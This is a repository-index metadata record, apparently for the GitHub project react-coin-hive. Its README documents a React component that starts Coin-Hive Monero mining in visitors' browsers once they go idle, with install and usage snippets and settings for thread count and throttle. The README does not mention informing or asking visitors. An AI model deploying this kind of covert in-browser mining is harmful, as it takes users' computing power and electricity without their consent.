{"id":13432118,"url":"https://github.com/cazala/react-coin-hive","last_synced_at":"2026-03-15T09:19:36.557Z","repository":{"id":66201343,"uuid":"103787972","full_name":"cazala/react-coin-hive","owner":"cazala","description":"Mine cryptocurrency while your users haven't engaged with your content lately","archived":false,"fork":false,"pushed_at":"2017-10-03T18:02:04.000Z","size":264,"stargazers_count":159,"open_issues_count":3,"forks_count":40,"subscribers_count":11,"default_branch":"master","last_synced_at":"2025-07-13T06:25:26.513Z","etag":null,"topics":["coinhive","cryptocurrency","miner","monero","react","xmr"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/react-coin-hive","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cazala.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2017-09-16T22:33:03.000Z","updated_at":"2024-10-15T12:04:07.000Z","dependencies_parsed_at":"2024-01-16T01:47:39.973Z","dependency_job_id":null,"html_url":"https://github.com/cazala/react-coin-hive","commit_stats":{"total_commits":19,"total_committers":3,"mean_commits":6.333333333333333,"dds":0.3157894736842105,"last_synced_commit":"a2670938be3991b0041fc0554845f362da6822fb"},"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"purl":"pkg:github/cazala/react-coin-hive","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cazala%2Freact-coin-hive","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cazala%2Freact-coin-hive/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cazala%2Freact-coin-hive/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cazala%2Freact-coin-hive/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cazala","download_url":"https://codeload.github.com/cazala/react-coin-hive/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cazala%2Freact-coin-hive/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":266231762,"owners_count":23896473,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["coinhive","cryptocurrency","miner","monero","react","xmr"],"created_at":"2024-07-31T02:01:08.733Z","updated_at":"2026-03-15T09:19:31.519Z","avatar_url":"https://github.com/cazala.png","language":"JavaScript","funding_links":[],"categories":["JavaScript"],"sub_categories":[],"readme":"# React Coin-Hive\n\nMine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e).\n\nThis uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/).\n\n## Installation\n\n```\nnpm install --save react-coin-hive\n```\n\n## Usage\n\n```jsx\n// Anywhere in your app as long as it gets mounted\n\u003cCoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/\u003e\n```\n\n## Props\n\n- `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites).\n\n- `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`.\n\n- `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`.\n\n- `threads`: The number of threads the miner should start with. Default is `2`.\n\n- `throttle`: The fraction of time that threads should be idle. Default is `0`.\n\n- `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created.\n\n- `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started.\n\n- `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped.\n\n## Disclaimer\n\nI have nothing to do with `coin-hive.com`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcazala%2Freact-coin-hive","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcazala%2Freact-coin-hive","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcazala%2Freact-coin-hive/lists"}